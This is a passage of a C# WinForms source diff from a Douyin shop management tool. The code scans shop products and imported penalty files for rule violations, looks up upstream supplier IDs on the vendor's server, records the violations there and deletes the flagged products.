ShowViolateInfo(violateInfo); + LstViolateInfo.Add(violateInfo); + LstVioLateInfoTemp.Add(violateInfo); + + row++; + } + } + } + catch (Exception ex) + { + if (ex.Message.Contains("无法访问")) + { + BaseMsgForm.ShowInfo("文件" + fileName + "打开失败,请查看是否有其他应用正在使用。"); + } + } + } + SaveViolateInfoList(); + }); + } + } + + private void ShowViolateInfo(ViolateInfo violateInfo) + { + string fileShotName = violateInfo.fileName.Split(new string[] { "\\", ".csv" }, StringSplitOptions.RemoveEmptyEntries).LastOrDefault(); + string dir = violateInfo.fileName.Split(new string[] { fileShotName }, StringSplitOptions.RemoveEmptyEntries).FirstOrDefault(); + Invoke(new Action(() => + { + dgvViolateFileData.Rows.Add(false, dir, fileShotName, violateInfo.penalize_id, violateInfo.business_id, "", "", violateInfo.rule_name, violateInfo.against_detail, "删除"); + })); + } + + private void ucTabControl1_SelectedIndexChanged(object sender, EventArgs e) + { + if (ucTabControl1.SelectedTab == tabPageCheckResult) + { + btnClear.Text = "清空排查结果"; + } + else if (ucTabControl1.SelectedTab == tabPageViolateFileList) + { + btnClear.Text = "清空罚单"; + } + } + + private void btnClear_Click(object sender, EventArgs e) + { + if (btnClear.Text == "清空排查结果") + { + if (BaseMsgForm.ShowConfirm("确定要清空排查结果?清空后需要重新排查!").DialogResult == DialogResult.OK) + { + dgvCheck.Rows.Clear(); + LstViolateParam.Clear(); + SaveViolateParamWaitHandleList(); + } + } + else if (btnClear.Text == "清空罚单") + { + if (BaseMsgForm.ShowConfirm("确定要清空罚单列表?清空后再次导入需要重新分析罚单数据!").DialogResult == DialogResult.OK) + { + dgvViolateFileData.Rows.Clear(); + LstViolateInfo.Clear(); + LstVioLateInfoTemp.Clear(); + Task.Run(() => + { + SaveViolateInfoList(); + }); + } + } + } + + private void btnStartTroubleShooting_Click(object sender, EventArgs e) + { + var lstShopId = dgvShop.Rows.Cast() + .Where(r => r.Cells["colSelect"].Value.ParseToBool()) + .Select(r => r.Cells["colShopId"].Value?.ToString()).ToList(); + var shopList = GlobalConfig.DouShopLoginList.Where(s => lstShopId.Contains(s.ShopAccountId) && s.ApiAuthStatus == "授权成功").ToList(); + if (shopList.Count == 0 && (chkOperateOffSale.Checked || chkOperateOnSale.Checked)) + { + BaseMsgForm.ShowInfo("请选择要清理素材的店铺"); + return; + } + shopList = shopList.Where(s => s.ApiAuthStatus == "授权成功").ToList(); + if (shopList.Count == 0 && (chkOperateOffSale.Checked || chkOperateOnSale.Checked)) + { + BaseMsgForm.ShowInfo("请检查店铺是否授权"); + return; + } + + if (LstVioLateInfoTemp.Count > 0) + { + var result = BaseMsgForm.ShowConfirm("正在分析罚单数据,请问是否要继续?").DialogResult; + if (result != DialogResult.OK) + return; + } + + cancellationTokenSource = new CancellationTokenSource(); + Task.Run(() => + { + try + { + if (chkOperateDataBase.Checked && cancellationTokenSource?.IsCancellationRequested != true) + { + TroubleShootingDataBase(); + } + + if (chkOperateOnSale.Checked && cancellationTokenSource?.IsCancellationRequested != true) + { + TroubleShootingShopProduct(shopList, true); + } + + if (chkOperateOffSale.Checked && cancellationTokenSource?.IsCancellationRequested != true) + { + TroubleShootingShopProduct(shopList, false); + } + } + catch (Exception ex) + { + } + + // 排查完毕后防止数据丢失保存到本地磁盘 + SaveViolateParamWaitHandleList(); + + // 显示排查完毕 + Invoke(new Action(() => + { + if (cancellationTokenSource?.IsCancellationRequested != true) + BaseMsgForm.ShowInfo("排查完毕"); + else + BaseMsgForm.ShowInfo("排查中断"); + })); + + }, cancellationTokenSource.Token); + } + + private void TroubleShootingShopProduct(List shopList, bool isOperateOnline = true) + { + + + foreach (var shop in shopList) + { + int num = 0; + var total = shopList.Count(); + this.Invoke(new Action(() => + { + num++; + + this.statusBar.lblTaskStatus.Text = "排查店铺 " + shop.ShopAccount + " " + (isOperateOnline ? "在售" : "仓库") + "商品,当前第" + num + "个店铺/共" + total + "个店铺,获取店铺商品中"; + this.statusBar.pgbTaskProgress.Value = 0; + this.statusBar.pgbTaskProgress.Text = 0 + "/" + 0; + this.statusBar.pgbTaskProgress.Maximum = 0; + })); + + if (shop == null) + continue; + + DataGridViewRow row = null; + + Invoke(new Action(() => + { + row = this.dgvShop.Rows.Cast().FirstOrDefault(r => r.Cells["colShopId"].Value.ToString() == shop.ShopAccountId); + if (row != null) + { + if (shop.PayStatus != 1) + { + row.Cells["colMessage"].Value = "当前为试用版,请购买专业版"; + return; + } + + if (isOperateOnline) + row.Cells["colMessage"].Value = "正在排查在售商品"; + else + row.Cells["colMessage"].Value = "正在排查仓库商品"; + } + })); + + + // 获取、显示商品数 + GetShopProduct(shop, false); + + int operateCount = 99999999; // 不限制操作数量 + int totalNumBase = shop.OnlineProductCount; // 删除开始时的在售商品数 + int totalNum = shop.OnlineProductCount; // 在售商品数 + if (!isOperateOnline) + { + totalNumBase = shop.OfflineProductCount; + totalNum = shop.OfflineProductCount; + } + int setNum = 0; // 设置商品数量 + int currentNum = 0; // 商品循环计数 + int page = 0; + int pageSize = 50; + string deleteProductMessage = ""; + List productList = new List(); + + var waitDeleteHtml = ""; + + while ((productList.Count < operateCount && currentNum < totalNumBase) || page == 0) + { + page += 1; + currentNum += pageSize; + if (cancellationTokenSource != null && cancellationTokenSource.IsCancellationRequested) + { + row = this.dgvShop.Rows.Cast().FirstOrDefault(r => r.Cells["colShopId"].Value.ToString() == shop.ShopAccountId); + if (row != null) { Invoke(new Action(() => { row.Cells["colMessage"].Value = "排查中断"; })); } + break; + } + + // 根据上下架信息,获取商品列表 + var productIsOnlineFlag = isOperateOnline ? 0 : 1; + waitDeleteHtml = GetShopProductListData(shop, productIsOnlineFlag, page, 50); + Thread.Sleep(Randomx.GetId(500, 1000)); + + if (waitDeleteHtml.Contains("\"code\":10000")) + { + totalNum = BaseRegex.GetIntJson(ref waitDeleteHtml, "total"); + if (isOperateOnline) + shop.OnlineProductCount = totalNum; + else + shop.OfflineProductCount = totalNum; + + if (operateCount > totalNumBase) + operateCount = totalNumBase; + if (currentNum > totalNumBase) + currentNum = totalNumBase; + + Invoke(new Action(() => + { + this.statusBar.pgbTaskProgress.Value = currentNum; + this.statusBar.pgbTaskProgress.Text = currentNum + "/" + operateCount; + this.statusBar.pgbTaskProgress.Maximum = operateCount; + })); + if (totalNum == 0) + { + deleteProductMessage = "排查结束,店铺没有在售商品"; + if (!isOperateOnline) + deleteProductMessage = "排查结束,店铺没有仓库商品"; + Invoke(new Action(() => + { + row = this.dgvShop.Rows.Cast().FirstOrDefault(r => r.Cells["colShopId"].Value.ToString() == shop.ShopAccountId); + if (row != null) { row.Cells["colMessage"].Value = deleteProductMessage; } + })); + break; + } + + try + { + JObject jObj = JObject.Parse(waitDeleteHtml); + var jObjDataStr = jObj["data"]?["data"]?.ToString(); + if (!string.IsNullOrEmpty(jObjDataStr)) + { + var addList = JsonHelper.DeserializeJsonToList(jObjDataStr); + if (addList != null) + { + productList.AddRange(addList); + } + } + deleteProductMessage = "已获取:" + currentNum + ",在售商品获取中..."; + if (!isOperateOnline) + deleteProductMessage = "已获取:" + currentNum + ",仓库商品获取中..."; + Invoke(new Action(() => + { + row = this.dgvShop.Rows.Cast().FirstOrDefault(r => r.Cells["colShopId"].Value.ToString() == shop.ShopAccountId); + if (row != null) { row.Cells["colMessage"].Value = deleteProductMessage; } + })); + } + catch (Exception ex) + { + BaseMsgForm.ShowError("获取商品发生错误:" + ex.Message); + } + } + else + { + var failMessage = BaseRegex.GetStringJson(ref waitDeleteHtml, "sub_msg"); + if (string.IsNullOrEmpty(failMessage)) + failMessage = waitDeleteHtml; + deleteProductMessage = ("排查遇到错误," + failMessage).TrimEnd(','); + Invoke(new Action(() => + { + row = this.dgvShop.Rows.Cast().FirstOrDefault(r => r.Cells["colShopId"].Value.ToString() == shop.ShopAccountId); + if (row != null) { row.Cells["colMessage"].Value = deleteProductMessage; } + })); + } + } + + // 操作数大于满足筛选条件商品数时,操作数改为商品数 + if (operateCount > productList.Count) + operateCount = productList.Count; + + if (operateCount == 0) + { + deleteProductMessage = "店铺商品排查完成"; + Invoke(new Action(() => + { + row = this.dgvShop.Rows.Cast().FirstOrDefault(r => r.Cells["colShopId"].Value.ToString() == shop.ShopAccountId); + if (row != null) { row.Cells["colMessage"].Value = deleteProductMessage; } + })); + } + + if (productList.Count == 0) + { + deleteProductMessage = "店铺商品排查完成"; + Invoke(new Action(() => + { + row = this.dgvShop.Rows.Cast().FirstOrDefault(r => r.Cells["colShopId"].Value.ToString() == shop.ShopAccountId); + if (row != null) { row.Cells["colMessage"].Value = deleteProductMessage; } + })); + } + + List violateParamList = new List(); + + for (int i = 0; i < productList.Count && i < operateCount; i++) + { + if (cancellationTokenSource != null && cancellationTokenSource.IsCancellationRequested) + { + row = this.dgvShop.Rows.Cast().FirstOrDefault(r => r.Cells["colShopId"].Value.ToString() == shop.ShopAccountId); + if (row != null) { Invoke(new Action(() => { row.Cells["colMessage"].Value = "排查中断"; })); } + break; + } + + Invoke(new Action(() => + { + this.statusBar.lblTaskStatus.Text = "排查店铺 " + shop.ShopAccount + " " + (isOperateOnline ? "在售" : "仓库") + "商品,当前第" + num + "个店铺/共" + total + "个店铺,商品排查中"; + this.statusBar.pgbTaskProgress.Value = i + 1; + this.statusBar.pgbTaskProgress.Text = i + 1 + "/" + operateCount; + this.statusBar.pgbTaskProgress.Maximum = operateCount; + + deleteProductMessage = "正在排查在售商品,第 " + (i + 1) + " 件商品,共 " + operateCount + " 件商品"; + if (!isOperateOnline) + deleteProductMessage = "正在排查仓库商品,第 " + (i + 1) + " 件商品,共 " + operateCount + " 件商品"; + row = this.dgvShop.Rows.Cast().FirstOrDefault(r => r.Cells["colShopId"].Value.ToString() == shop.ShopAccountId); + if (row != null) { row.Cells["colMessage"].Value = deleteProductMessage; } + })); + Thread.Sleep(Randomx.GetId(50, 150)); + + var product = productList[i]; + setNum++; + + ViolateParam violateParam = new ViolateParam() + { + DataFrom = isOperateOnline ? 2 : 3, + DouProductId = product.product_id.ToString(), + DouShopId = shop.ShopAccountId, + }; + violateParamList.Add(violateParam); + + if (violateParamList.Count >= 50 || i >= productList.Count || i >= operateCount) + { + GetViolateUpIdList(violateParamList); + violateParamList = violateParamList.Where(v => !string.IsNullOrEmpty(v.UpId)).ToList(); + var upIds = violateParamList.Select(v => v.UpId).ToList(); + + var violateResultHtml = ViolateBLL.GetViolateList(upIds); + // 失败重试 + if (violateResultHtml?.Contains(",") != true) + violateResultHtml = ViolateBLL.GetViolateList(upIds); + if (violateResultHtml?.Contains(",") != true) + continue; + + var resultViolateList = violateResultHtml.Split(new string[] { "|" }, StringSplitOptions.RemoveEmptyEntries); + foreach (var resultViolate in resultViolateList) + { + var vParam = violateParamList.FirstOrDefault(v => resultViolate.StartsWith(v.UpId)); + if (vParam == null) + continue; + + if (resultViolate == null || resultViolate.EndsWith("none") == true) // 没有违规信息 + continue; + else // 有违规信息 + { + var violateHtml = resultViolate.Replace(vParam.UpId + ",", ""); + if (ViolateRuleParam.LstViolateRuleNameSelect.Any(v => ("^" + violateHtml + "^").Contains("^" + v + "^"))) + { + vParam.CheckTime = DateTime.Now; + vParam.RuleNames = violateHtml; + if (!LstViolateParam.Any(vp => vp.UpId == vParam.UpId && vp.DouProductId == vParam.DouProductId)) + { + LstViolateParam.Add(vParam); + + if (LstViolateParam.Count % 50 == 0) + SaveViolateParamWaitHandleList(); + + string dataFromDescribe = GetDataFromDescribe(vParam.DataFrom); + Invoke(new Action(() => + { + this.dgvCheck.Rows.Add(true, dataFromDescribe, vParam.DouShopId, shop.ShopAccount, vParam.DouProductId, + vParam.UpIdNumber, vParam.From, "货源网", vParam.RuleNames, vParam.CheckTime.ToString("yyyy-MM-dd HH:mm")); + })); + } + } + } + } + + violateParamList.Clear(); + } + } + } + Invoke(new Action(() => + { + if (cancellationTokenSource != null && cancellationTokenSource.IsCancellationRequested) + { + var text = "排查店铺商品中断!"; + this.statusBar.lblTaskStatus.Text = text; + } + else + { + var text = "排查店铺商品完成!"; + this.statusBar.lblTaskStatus.Text = text; + } + })); + // 排查在售/仓库后防止数据丢失保存到本地磁盘 + SaveViolateParamWaitHandleList(); + Thread.Sleep(5000); + } + + /// + /// 批量排查产品数据库违规 + /// + public void TroubleShootingDataBase() + { + Invoke(new Action(() => + { + this.statusBar.pgbTaskProgress.Maximum = 0; + this.statusBar.lblTaskStatus.Text = "排查产品数据库"; + this.statusBar.pgbTaskProgress.Value = 0; + this.statusBar.pgbTaskProgress.Text = 0 + "/" + 0; + })); + + int currentNum = 0; + int current_page = 1; + int totalCount = 99999999; + //string begainTime = "2000-01-01"; + //string endTime = DateTime.Now.AddDays(1).ToString("yyyy-MM-dd"); + List violateParamList = new List(); + while (true) + { + if (cancellationTokenSource != null && cancellationTokenSource.IsCancellationRequested) + { + break; + } + + string url = BaseClass.BuildFissionObjString("fession_api"); + string paraStr = "¤t_page=" + current_page + //+ "&begin_time=" + begainTime + //+ "&end_time=" + endTime + + "&pagesize=500"; + + string requestData = UserLogin.GetSignaturex() + "&act=get" + paraStr; + + try + { + string htmlData = GetHtml.PostUtf8(url, requestData); + if (htmlData.Contains("\"list\":[]")) + break; + + var FessionObj = JsonConvert.DeserializeObject(htmlData); // 反序列化 + if (FessionObj != null) + { + totalCount = FessionObj.count; + var fessionDataList = FessionObj.list; + foreach (var fessionData in fessionDataList) + { + if (cancellationTokenSource != null && cancellationTokenSource.IsCancellationRequested) + { + break; + } + + Thread.Sleep(Randomx.GetId(20, 50)); + + currentNum += 1; + + Invoke(new Action(() => + { + this.statusBar.pgbTaskProgress.Maximum = totalCount; + this.statusBar.lblTaskStatus.Text = "排查产品数据库"; + this.statusBar.pgbTaskProgress.Value = currentNum; + this.statusBar.pgbTaskProgress.Text = currentNum + "/" + totalCount; + })); + + string prev = ""; + if (fessionData.source == "拼多多") + prev = "pdd-"; + else if (fessionData.source == "淘宝") + prev = "tb-"; + else if (fessionData.source == "阿里") + prev = "al-"; + else if (fessionData.source == "抖音") + prev = "dy-"; + else if (fessionData.source == "京喜") + prev = "jx-"; + + ViolateParam violateParam = new ViolateParam() + { + DataFrom = 1, + UpId = prev + fessionData.fession_id + }; + violateParamList.Add(violateParam); + + if (violateParamList.Count >= 50 || currentNum >= totalCount) + { + var upIds = violateParamList.Select(v => v.UpId).ToList(); + var violateResultHtml = ViolateBLL.GetViolateList(upIds); + // 失败重试 + if (violateResultHtml?.Contains(",") != true) + violateResultHtml = ViolateBLL.GetViolateList(upIds); + if (violateResultHtml?.Contains(",") != true) + continue; + + var resultViolateList = violateResultHtml.Split(new string[] { "|" }, StringSplitOptions.RemoveEmptyEntries); + foreach (var resultViolate in resultViolateList) + { + + var vParam = violateParamList.FirstOrDefault(v => resultViolate.StartsWith(v.UpId)); + if (vParam == null) + continue; + + if (resultViolate == null || resultViolate.EndsWith("none")) // 没有违规信息 + continue; + else // 有违规信息 + { + var violateHtml = resultViolate.Replace(vParam.UpId + ",", ""); + if (ViolateRuleParam.LstViolateRuleNameSelect.Any(v => ("^" + violateHtml + "^").Contains("^" + v + "^"))) + { + vParam.CheckTime = DateTime.Now; + vParam.RuleNames = violateHtml; + if (!LstViolateParam.Any(vp => vp.UpId == vParam.UpId && vp.DouProductId == vParam.DouProductId)) + { + LstViolateParam.Add(vParam); + + if (LstViolateParam.Count % 50 == 0) + SaveViolateParamWaitHandleList(); + + string dataFromDescribe = GetDataFromDescribe(vParam.DataFrom); + Invoke(new Action(() => + { + this.dgvCheck.Rows.Add(true, dataFromDescribe, "", "", "", + vParam.UpIdNumber, vParam.From, "货源网", vParam.RuleNames, vParam.CheckTime.ToString("yyyy-MM-dd HH:mm")); + })); + } + } + } + } + violateParamList.Clear(); + } + } + } + + if (currentNum >= totalCount) + break; + current_page++; + } + catch (Exception ex) + { + LogSave.Add(Name, "访问产品数据库异常"); + + Invoke(new Action(() => + { + this.statusBar.pgbTaskProgress.Maximum = 0; + this.statusBar.lblTaskStatus.Text = "访问产品数据库异常"; + this.statusBar.pgbTaskProgress.Value = 0; + this.statusBar.pgbTaskProgress.Text = 0 + "/" + 0; + })); + + if (cancellationTokenSource != null) + cancellationTokenSource.Cancel(); + Thread.Sleep(30000); + break; + } + } + + Invoke(new Action(() => + { + this.statusBar.pgbTaskProgress.Maximum = 0; + this.statusBar.lblTaskStatus.Text = "产品数据库排查完毕"; + this.statusBar.pgbTaskProgress.Value = 0; + this.statusBar.pgbTaskProgress.Text = 0 + "/" + 0; + + if (cancellationTokenSource != null && cancellationTokenSource.IsCancellationRequested) + { + var text = "产品数据库排查中断!"; + this.statusBar.lblTaskStatus.Text = text; + } + })); + // 排查数据库后防止数据丢失保存到本地磁盘 + SaveViolateParamWaitHandleList(); + Thread.Sleep(5000); + } + + + private void btnStop_Click(object sender, EventArgs e) + { + if (cancellationTokenSource != null) + cancellationTokenSource.Cancel(); + } + + /// + /// 处理违规暂存列表获取上家Id并保存违规信息到服务端 + /// + private void OperateViolateListTemp() + { + Task.Run(() => + { + while (true) + { + try + { + var violateInfo = LstVioLateInfoTemp.FirstOrDefault(); + if (violateInfo != null) + { + LstVioLateInfoTemp.Remove(violateInfo); + + Invoke(new Action(() => + { + int totalCount = LstViolateInfo.Count; + int currentCount = LstViolateInfo.Count - LstVioLateInfoTemp.Count + 1; + if (currentCount < 0) + currentCount = 0; + this.statusBar.pgbTaskProgress.Maximum = LstViolateInfo.Count; + this.statusBar.lblTaskStatus.Text = "正在分析罚单数据"; + this.statusBar.pgbTaskProgress.Value = currentCount; + this.statusBar.pgbTaskProgress.Text = currentCount + "/" + totalCount; + })); + + if (violateInfo.up_product_id_number == 0) + { + Thread.Sleep(Randomx.GetId(50, 150)); + GetViolateUpId(violateInfo); + AddViolateToServer(violateInfo); + + if (LstVioLateInfoTemp.Count % 50 == 0) + { + SaveViolateInfoList(); + } + } + + if (violateInfo.up_product_id_number > 0) + { + Invoke(new Action(() => + { + string from = ""; + if (string.IsNullOrEmpty(violateInfo.up_product_id)) + from = ""; + else if (violateInfo.up_product_id.StartsWith("pd")) + from = "拼多多"; + else if (violateInfo.up_product_id.StartsWith("tb")) + from = "淘宝"; + else if (violateInfo.up_product_id.StartsWith("al")) + from = "阿里巴巴"; + else if (violateInfo.up_product_id.StartsWith("jx")) + from = "京喜"; + var row = dgvViolateFileData.Rows.Cast() + .FirstOrDefault(r => r.Cells["col_penalize_id"].Value?.ToString() == violateInfo.penalize_id); + if (row != null) + { + row.Cells["col_from"].Value = from; + row.Cells["col_from_fake"].Value = "货源网"; + row.Cells["col_up_id"].Value = violateInfo.up_product_id_number; + } + })); + } + + if (!ViolateRuleParam.LstViolateRuleName.Contains(violateInfo?.rule_name?.Trim())) + { + UpdateViolateRuleNameList(violateInfo); + SetViolateSelectList(flpViolate); + } + + if (LstVioLateInfoTemp.Count == 0) + { + Invoke(new Action(() => + { + if (this.statusBar.lblTaskStatus.Text == "正在分析罚单数据") + { + ResetStatusBar(); + } + })); + } + + if (LstVioLateInfoTemp.Count == 0) + { + SaveViolateInfoList(); + } + } + } + catch + { + } + } + }); + } + + /// + /// 获取所有违规信息规则名称列表 + /// + public static void GetAllViolateRuleName() + { + if (ViolateRuleParam.LstViolateRuleName != null) + return; + + string data = ViolateBLL.GetViolate("1", 1); + if (data == "none") + data = ""; + ViolateRuleParam.LstViolateRuleName = data.Split(new char[] { '^' }, StringSplitOptions.RemoveEmptyEntries).ToList(); + } + + public static void GetViolateUpIdList(List violateParamList) + { + string upIdUrl = BaseClass.LoginApiUrl + "?obj=upshopid/upid_dd&act=get_list"; + string upIdData = "&pids="; + foreach (var violateParam in violateParamList) + { + upIdData += violateParam.DouProductId + "," + violateParam.DouProductId.ParseToLong() % 1024 + ";"; + } + var Data = UserLogin.GetSignaturex() + upIdData; //.TrimEnd(';'); + string upIdsResult = GetHtml.PostUtf8(upIdUrl, Data); + if (upIdsResult.Contains("参数错误")) + return; + if (upIdsResult.Contains(",") != true) + upIdsResult = GetHtml.PostUtf8(upIdUrl, UserLogin.GetSignaturex() + upIdData); + if (upIdsResult?.Contains(",") != true) + upIdsResult = GetHtml.PostUtf8(upIdUrl, UserLogin.GetSignaturex() + upIdData); + if (upIdsResult?.Contains(",") != true) + return; + + var upIdsListResult = upIdsResult.Split(new string[] { ";" }, StringSplitOptions.RemoveEmptyEntries); + foreach (var upIdStr in upIdsListResult) + { + if (!upIdStr.Contains(',')) + continue; + + var violateParam = violateParamList.Find(v => v.DouProductId == upIdStr.Split(',').FirstOrDefault()); + if (violateParam != null) + violateParam.UpId = upIdStr.Split(',').LastOrDefault(); + } + } + + public static void GetViolateUpId(ViolateParam violateParam) + { + var violateInfo = new ViolateInfo() { business_id = violateParam.DouProductId }; + GetViolateUpId(violateInfo); + if (!string.IsNullOrEmpty(violateInfo.up_product_id)) + { + violateParam.UpId = violateInfo.up_product_id; + } + } + + /// + /// 获取违规商品上家Id + /// + /// + public static void GetViolateUpId(ViolateInfo violateInfo) + { + string upIdUrl = BaseClass.LoginApiUrl + "?obj=upshopid/upid_dd&act=get"; + string upIdData = "&pid=" + violateInfo.business_id + "&table=" + (violateInfo.business_id.ParseToLong() % 1024); + string upId = GetHtml.PostUtf8(upIdUrl, UserLogin.GetSignaturex() + upIdData); + if (!string.IsNullOrEmpty(upId) && upId != "none") + { + string upIdNumber = BaseRegex.GetMatchRegex(ref upId, "\\d{5,20}")[0]?.Groups[0]?.Value; + if (!string.IsNullOrEmpty(upIdNumber)) + { + violateInfo.up_product_id = upId; + violateInfo.up_product_id_number = upIdNumber.ParseToLong(); + } + } + if (violateInfo.up_product_id_number <= 0) + violateInfo.up_product_id_number = -1; + } + + /// + /// 将违规信息保存到云服务端 + /// + public static string AddViolateToServer(ViolateInfo violateInfo) + { + if (string.IsNullOrEmpty(violateInfo.up_product_id) || violateInfo.up_product_id_number <= 0) + return "无上家商品"; + + string address = BaseClass.BuildObjString("violate&act=add"); + string param = UserLogin.GetSignaturex() + + "&pid=" + violateInfo.up_product_id + + "&content=" + violateInfo.rule_name + + "&suffix=" + violateInfo.up_product_id_number % 1024; + string html = GetHtml.PostUtf8(address, param); + // 服务端无此违规记录,保存违规成功 + if (html.Contains("\"msg\":\"success\"") && html.Contains("\"data\":null")) + { + return "上家商品违规信息添加成功"; + } + // 服务端已记录此商品违规情况,根据是否有追加新违规信息,决定是否要更新违规信息 + else if (html.Contains("\"msg\":\"success\"")) + { + var dataStrOld = BaseRegex.GetStringJson(ref html, "data"); + if (!string.IsNullOrEmpty(dataStrOld)) + { + if (!("^" + dataStrOld + "^").Contains("^" + violateInfo.rule_name + "^")) + { + var dataStrNew = dataStrOld.Trim('^') + "^" + violateInfo.rule_name; + address = BaseClass.BuildObjString("violate&act=update"); + param = UserLogin.GetSignaturex() + + "&pid=" + violateInfo.up_product_id + + "&content=" + dataStrNew + + "&suffix=" + violateInfo.up_product_id_number % 1024; + html = GetHtml.PostUtf8(address, param); + if (html.Contains("\"msg\":\"success\"")) + return "上家商品违规信息修改成功"; + } + else + { + return "上家商品违规信息已存在"; + } + } + } + return "未知错误:" + html; + } + + public static void UpdateViolateRuleNameList(ViolateInfo violate) + { + var violateRuleName = new ViolateInfo { rule_name = violate.rule_name, up_product_id = "1", up_product_id_number = 1 }; + ViolateRuleParam.LstViolateRuleName.Add(violateRuleName.rule_name); + AddViolateToServer(violateRuleName); + } + + void GetShopProduct(DouShopLoginInfo shop, bool isShowResult = true) + { + DataGridViewRow row = null; + Invoke(new Action(() => + { + row = this.dgvShop.Rows.Cast().FirstOrDefault(r => r.Cells["colShopId"].Value.ToString() == shop.ShopAccountId); + if (row != null) + { + if (isShowResult) + row.Cells["colMessage"].Value = "正在获取店铺商品数量"; + } + })); + + // 读取在售商品数量 + var resultOnline = GetShopProductListData(shop, 0, 1, 10); + if (resultOnline.Contains("\"code\":10000")) + { + if (row != null) + { + var text = BaseRegex.GetStringJson(ref resultOnline, "total"); + shop.OnlineProductCount = text.ParseToInt(); + } + } + // 读取下架商品数量 + var resultOffline = GetShopProductListData(shop, 1, 1, 10); + if (resultOffline.Contains("\"code\":10000")) + { + if (row != null) + { + var text = BaseRegex.GetStringJson(ref resultOffline, "total"); + shop.OfflineProductCount = text.ParseToInt(); + } + } + + string resultShowText = ""; + if (resultOnline.Contains("\"code\":10000") && resultOffline.Contains("\"code\":10000")) + { + resultShowText = "商品数量获取成功"; + } + else + { + resultShowText = "商品数量获取失败"; + if (!resultOnline.Contains("\"code\":10000")) + { + var html = BaseRegex.GetStringJson(ref resultOnline, "sub_msg"); + if (string.IsNullOrEmpty(html)) + html = resultOnline; + resultShowText += ",获取在售商品错误:" + html; + } + if (!resultOffline.Contains("\"code\":10000")) + { + var html = BaseRegex.GetStringJson(ref resultOffline, "sub_msg"); + if (string.IsNullOrEmpty(html)) + html = resultOffline; + resultShowText += ",获取仓库商品错误:" + html; + } + } + Invoke(new Action(() => + { + if (row != null) + { + if (isShowResult) + row.Cells["colMessage"].Value = resultShowText; + } + })); + } + + public string GetShopProductListData(DouShopLoginInfo shop, int productStatus = 0, int page = 1, int pageSize = 50, long update_end_time = 0) + { + // 读取在售商品数量 + Dictionary dictionary = new Dictionary(); + dictionary.Add("page", page.ToString()); + dictionary.Add("size", pageSize.ToString()); + if (update_end_time > 0) + dictionary.Add("update_end_time", update_end_time.ToString()); + dictionary["status"] = productStatus.ToString(); + if (productStatus == 0) + dictionary["check_status"] = "3"; + DouyinApi douApi = new DouyinApi(shop); + douApi.JsonData = dictionary; + var resultOnline = douApi.GetProductList(); + return resultOnline; + } + + private void BtnDelViolate_Click(object sender, EventArgs e) + { + Task.Run(() => + { + int num = 0; + var selectRows = dgvCheck.Rows.Cast().Where(r => r.Cells["col_result_select"].Value?.ParseToBool() == true).ToList(); + try + { + foreach (DataGridViewRow row in selectRows) + { + num++; + Invoke(new Action(() => + { + this.statusBar.pgbTaskProgress.Maximum = selectRows.Count; + this.statusBar.lblTaskStatus.Text = "正在删除选中违规商品"; + this.statusBar.pgbTaskProgress.Value = num; + this.statusBar.pgbTaskProgress.Text = num + "/" + selectRows.Count; + })); + + + Thread.Sleep(Randomx.GetId(50, 100)); + + // 数据来源 1.产品数据库 2.店铺在售商品 3.店铺仓库商品 + var dataFrom = GetDataFrom(row.Cells["col_result_data_from"].Value?.ToString()); + var upId = row.Cells["col_result_up_id"].Value?.ToString(); + var shopId = row.Cells["col_result_shop_id"].Value?.ToString(); + var productId = row.Cells["col_result_product_id"].Value?.ToString(); + var violateParam = LstViolateParam.FirstOrDefault(vp => vp.UpIdNumber.ToString() == upId && vp.DouProductId == productId); + + if (dataFrom == 1) + { + string url = BaseClass.BuildFissionObjString("fession_api"); + string paraStr = "&fessiontitle=" + HttpUtility.UrlEncode(upId, Encoding.UTF8) + + "¤t_page=1" + + "&pagesize=500"; + string requestData = UserLogin.GetSignaturex("", "") + "&act=get" + paraStr; + try + { + string htmlData = GetHtml.PostUtf8(url, requestData); + var FessionObj = JsonConvert.DeserializeObject(htmlData); // 反序列化 + if (FessionObj != null && FessionObj.list != null && FessionObj.list.Count > 0) + { + var fessData = FessionObj.list.FirstOrDefault(f => f.fession_id == upId); + if (fessData != null) + { + //{\"code\":1,\"msg\":\"delete success!\"} + var result = new FissionDataBaseBLL().DelFessionData(fessData.id.ToString()); + if (result.Contains("\"msg\":\"delete success!\"")) + { + row.Cells["col_result_status"].Value = "删除成功"; + if (violateParam != null) + violateParam.HandleResult = "删除成功"; + continue; + } + } + } + } + catch (Exception ex) + { + LogSave.Add(Name, "访问服务器返回裂变数据异常"); + } + + row.Cells["col_result_status"].Value = "删除失败,请重试"; + if (violateParam != null) + violateParam.HandleResult = "删除失败,请重试"; + } + else + { + var shop = GlobalConfig.DouShopLoginList.FirstOrDefault(s => s.ShopAccountId == shopId); + if (shop != null) + { + Dictionary dictionary = new Dictionary(); + dictionary.Add("product_id", productId); + DouyinApi douApi = new DouyinApi(shop); + douApi.JsonData = dictionary; + var result = douApi.DeleteProduct(); + if (result.Contains("\"code\":10000")) + { + row.Cells["col_result_status"].Value = "删除成功"; + if (violateParam != null) + violateParam.HandleResult = "删除成功"; + continue; + } + } + + row.Cells["col_result_status"].Value = "删除失败,请重试"; + if (violateParam != null) + violateParam.HandleResult = "删除失败,请重试"; + } + + if (num % 50 == 0) + { + SaveViolateParamWaitHandleList(); + } + } + } + catch (Exception ex) + { + } + + // 保存处理结果 + SaveViolateParamWaitHandleList(); + + Invoke(new Action(() => + { + var showText = "删除违规完成"; + if (cancellationTokenSource?.IsCancellationRequested == true) + showText = "删除违规中断"; + + this.statusBar.pgbTaskProgress.Maximum = 0; + this.statusBar.lblTaskStatus.Text = showText; + this.statusBar.pgbTaskProgress.Value = 0; + this.statusBar.pgbTaskProgress.Text = 0 + "/" + 0; + + BaseMsgForm.ShowInfo(showText); + })); + }); + } + + public void SaveViolateParamWaitHandleList() + { + var task = Task.Run(() => + { + LstViolateParam = LstViolateParam.Where(v => v.HandleResult != "删除成功").ToList(); + try + { + NaiBa.Util.Helper.ConfigHelper.SaveConfig>("violate_param_wait_handle_list", LstViolateParam); + } + catch + { + } + }); + task.Wait(); + } + + public void SaveViolateInfoList() + { + var task = Task.Run(() => + { + try + { + NaiBa.Util.Helper.ConfigHelper.SaveConfig>("violate_Info_list", LstViolateInfo); + } + catch + { + } + }); + task.Wait(); + } + + private string GetDataFromDescribe(int dataFrom) + { + string dataFromDescribe = null; + if (dataFrom == 1) + dataFromDescribe = "产品数据库"; + else if (dataFrom == 2) + dataFromDescribe = "店铺在售商品"; + else if (dataFrom == 3) + dataFromDescribe = "店铺仓库商品"; + return dataFromDescribe; + } + + private int GetDataFrom(string dataFromDescribe) + { + int dataFrom = 